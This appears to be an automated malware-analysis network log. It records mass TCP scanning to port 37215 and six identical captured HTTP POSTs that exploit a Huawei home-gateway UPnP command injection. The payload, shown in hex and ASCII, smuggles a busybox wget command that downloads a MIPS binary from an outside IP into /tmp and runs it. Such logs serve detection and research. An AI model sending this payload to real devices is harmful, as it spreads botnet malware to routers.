Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.207.139.154:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.234.47.72:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.177.128.220:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.181.244.246:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.29.245.110:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.253.122.6:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.144.10.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.94.69.79:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.34.109.65:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.240.57.92:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.60.35.36:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.186.62.4:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.41.114.34:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.195.198.227:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.0.0.7:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.9.174.31:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.59.238.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.147.76.6:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.20.240.67:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.31.9.77:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.25.128.31:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.28.137.127:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.192.26.50:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.69.167.253:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.191.93.48:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.84.50.41:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.237.157.160:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.61.219.166:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.10.188.113:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.44.88.178:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.111.201.30:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.6.202.39:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.28.4.28:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.56.92.111:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.36.187.6:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.253.223.132:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.184.198.99:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.47.31.145:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.157.230.182:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.4.164.92:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.253.190.160:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.15.148.153:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.179.27.250:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.204.213.150:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.240.137.164:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.23.95.2:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.113.79.202:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.239.225.214:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.181.242.241:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.21.88.65:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.42.147.196:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.157.242.126:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.50.96.108:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.150.5.43:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.116.254.135:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.54.201.152:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.191.241.72:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.131.38.151:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.185.96.145:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.48.182.61:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.5.208.87:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.176.176.46:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.199.223.162:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.26.131.77:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.254.24.138:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.58.153.237:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.23.47.169:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.227.185.92:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.102.113.3:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.104.42.32:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.193.161.193:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.37.50.151:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.135.157.96:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.18.2.48:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.129.148.198:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.130.76.37:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.215.124.185:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.70.127.169:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.118.65.52:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.204.212.151:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.150.228.183:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.133.207.18:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.81.54.82:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.176.136.34:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.157.24.2:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.17.251.251:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.227.146.198:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.69.75.18:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.229.206.159:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.78.223.52:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.122.98.102:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.30.110.117:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.26.179.221:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.105.180.184:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.192.88.208:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.9.137.90:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.171.244.129:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.10.214.102:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.10.163.246:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.18.23.95:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.94.187.148:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 197.2.94.185:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.15.20.61:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.182.17.117:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.144.172.182:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.199.213.75:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 156.113.176.203:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.195.45.55:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.131.227.83:37215
Source: global traffic	TCP traffic: 192.168.2.23:18849 -> 41.116.232.186:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
